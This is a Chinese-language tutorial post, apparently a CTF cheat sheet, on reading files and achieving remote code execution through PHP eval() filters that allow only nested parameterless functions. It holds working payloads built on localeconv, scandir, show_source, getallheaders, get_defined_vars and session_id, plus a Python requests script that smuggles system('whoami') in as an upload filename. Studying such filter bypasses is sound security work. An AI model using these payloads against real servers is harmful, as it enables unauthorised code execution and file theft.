PHP无参读取文件与RCE总结

PHP 无参数读文件与 RCE 总结

0x01 核心原理

什么是无参数?

即函数括号内只能嵌套其他函数,不能出现字符串、数字或变量参数。

核心正则限制:

php 复制代码
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}
  • [^\W]+:匹配函数名(字母、数字、下划线)。
  • (?R)?:递归匹配整个模式,允许无限嵌套。
  • 允许: a(b(c()))
  • 禁止: a('b')a(b,'c')

解题核心思想:

要想读文件或执行命令,必须找到返回值可控的无参函数,将其作为内层函数的返回值传给外层。


0x02 无参数任意文件读取

读文件的前提是列目录,列目录的核心是构造当前目录 . 或上级目录 ..

1. 如何构造 . (当前目录)

方法一:localeconv() + current() (最稳定)
localeconv() 返回包含本地数字及货币格式信息的数组,其数组的第一个元素就是 .

  • current() / pos() / reset():均可以获取数组的第一个单元。
php 复制代码
print_r(scandir(current(localeconv())));
// pos(localeconv()) 也可

方法二:chr(46) 构造法
chr(46) 即字符 .。如何无参构造数字 46?

  • chr(time())chr() 以 256 为周期,time() 不断递增,必然存在 time()%256 == 46 的时刻。

  • chr(current(localtime(time())))localtime() 返回的数组第一个值是秒(0-59),最多等 60 秒必然出现 46。

  • 数学函数链 (phpversion()) :利用 PHP 版本号进行数学运算,极度依赖 PHP 版本,不实用,了解即可:

    php 复制代码
    chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))

方法三:随机哈希构造法 (看运气,需多刷新)

  • hebrevc(crypt(arg)):生成的 hash 第一个字符有小概率是 .,用 chr(ord()) 提取。

    php 复制代码
    print_r(scandir(chr(ord(hebrevc(crypt(time()))))));
  • strrev(crypt(serialize(array()))):生成的 hash 最后一个字符有概率是 .,用 strrev() 逆序后再用 chr(ord()) 提取第一个字符。

方法四:直接绝对路径

php 复制代码
scandir(getcwd());  // 获取当前工作目录
scandir(realpath('.')); // 结合上面的构造点

2. 如何读取指定文件

列出的目录是一个数组,我们需要利用数组操作函数定位到目标文件。

  • 最后一个文件: end(scandir(...))
  • 倒数第二个文件: next(array_reverse(scandir(...)))
  • 随机/正数第三个文件: array_rand(array_flip(scandir(...))) (交换键值,随机取键名)

读文件函数:
show_source() / highlight_file() (直接回显)、readfile() / file_get_contents() (回显在源码中)、readgzfile() (常用于绕过关键字过滤)。

3. 如何构造 .. (上级目录)

  • 方法一:dirname()

    php 复制代码
    print_r(scandir(dirname(getcwd()))); // 查看上一级目录
  • 方法二:利用数组特性
    scandir 返回的数组前两个元素固定是 ...,因此 next() 就是 ..

    php 复制代码
    print_r(scandir(next(scandir(getcwd())))); // 查看上一级目录

4. 读取上级目录文件

直接读上级文件会报错(默认在当前目录寻找),必须先用 chdir() 切换工作目录:

php 复制代码
// 切换到上级目录并随机读取文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

0x03 无参数命令执行 (RCE)

既然函数不能带参数,我们就把要执行的命令放在别处(HTTP头、全局变量、Session等),再用无参函数去取。

1. 利用 HTTP 请求头

核心函数:getallheaders() / apache_request_headers()

返回包含所有 HTTP 请求头的数组。

⚠️ 环境注意: 此函数原本仅限 Apache 环境,但 PHP 7.3+ 的 FPM 模式也支持了该函数,因此在高版本 Nginx 下也可用。

Payload:

http 复制代码
GET ?code=eval(pos(getallheaders())); HTTP/1.1
Leon: phpinfo();

(根据请求头排序不同,可能需要用 end() 等函数定位到你控制的 Header 字段)

2. 利用全局变量 (最通用)

核心函数:get_defined_vars()

返回由所有已定义变量组成的数组,结构通常为:[0=>$_GET, 1=>$_POST, 2=>$_COOKIE, 3=>$_FILES, 4=>$_SERVER]

Payload (GET传参):

http 复制代码
GET ?leon=phpinfo();&code=eval(pos(pos(get_defined_vars()))); HTTP/1.1

解析:第一个 pos() 取到 $_GET 数组,第二个 pos() 取到 $_GET 中的第一个键值 phpinfo();

Payload (利用 FILES 传参):
$_FILES 通常在数组末尾,需用 end() 定位。将 Payload 作为上传文件的文件名。

python 复制代码
import requests
files = {"system('whoami');": ""}
r = requests.post('http://target/?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
print(r.text)

3. 利用 Session

核心函数:session_id() + session_start()
session_id() 可以获取/设置当前会话 ID。

限制与绕过:

会话 ID 仅允许字符:a-z A-Z 0-9 , -。无法直接传入括号等特殊字符。
绕过方法: 传入十六进制字符串,配合 hex2bin() 转换。

Payload:

http 复制代码
GET ?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1
Cookie: PHPSESSID=706870696e666f28293b

(注:706870696e666f28293bphpinfo(); 的十六进制编码)

4. 利用环境变量

核心函数:getenv()

在 PHP 7.1+ 可不传参,返回所有环境变量。

限制:

默认 php.inivariables_order = "GPCS",不包含 Environment (E),导致获取不到自定义环境变量。需改为 "EGPCS" 才能利用,因此实战利用条件较苛刻。


0x04 核心函数速查表 (Cheatsheet)

目的 常用函数 备注
获取当前目录 . current(localeconv()) pos() / reset() 同理
获取上级目录 .. next(scandir(getcwd())) dirname(getcwd()) 数组第二个元素固定是 ..
数组指针操作 current()/pos() (首) end() (尾) next() (下一个) array_reverse() (逆序) 组合使用定位目标文件
随机数组取值 array_rand(array_flip()) 盲读文件神器
读文件 show_source() / highlight_file() readfile() / file_get_contents() readgzfile() readgzfile 可绕过部分过滤
获取外部数据(RCE) getallheaders() (需Apache或PHP7.3+) get_defined_vars() (通用) session_id(session_start()) (需hex2bin) 核心RCE手段
相关推荐
无风听海12 小时前
Cookie 深度技术指南:从原理到安全实践
安全
汤愈韬13 小时前
IP安全 SEC VPN_2
网络·网络协议·安全·网络安全·security
XiYang-DING13 小时前
【Java EE】IPv6
java·java-ee·php
likerhood13 小时前
Java 异常处理:从 try-catch-finally 到项目最佳实践
java·开发语言·php
曦夜日长13 小时前
Linux系统篇,开发工具(六):文件的编译配置、调试的理解、cgdb和gdb的操作使用
java·linux·php
2401_8685347813 小时前
My Experience in the Computer Room
安全
stsdddd14 小时前
【YOLO安防防护场景安全帽-安全背心目标检测数据集】
安全·yolo·目标检测
Chris _data14 小时前
C# 与 PLC Modbus RTU 通信实践:从单例到线程安全的连接监控
开发语言·安全·c#
持敬chijing14 小时前
BUUCTF-WEB详细解题攻略第二页(按解出数降序排序)正在更新
安全·web安全·网络安全·网络攻击模型·安全威胁分析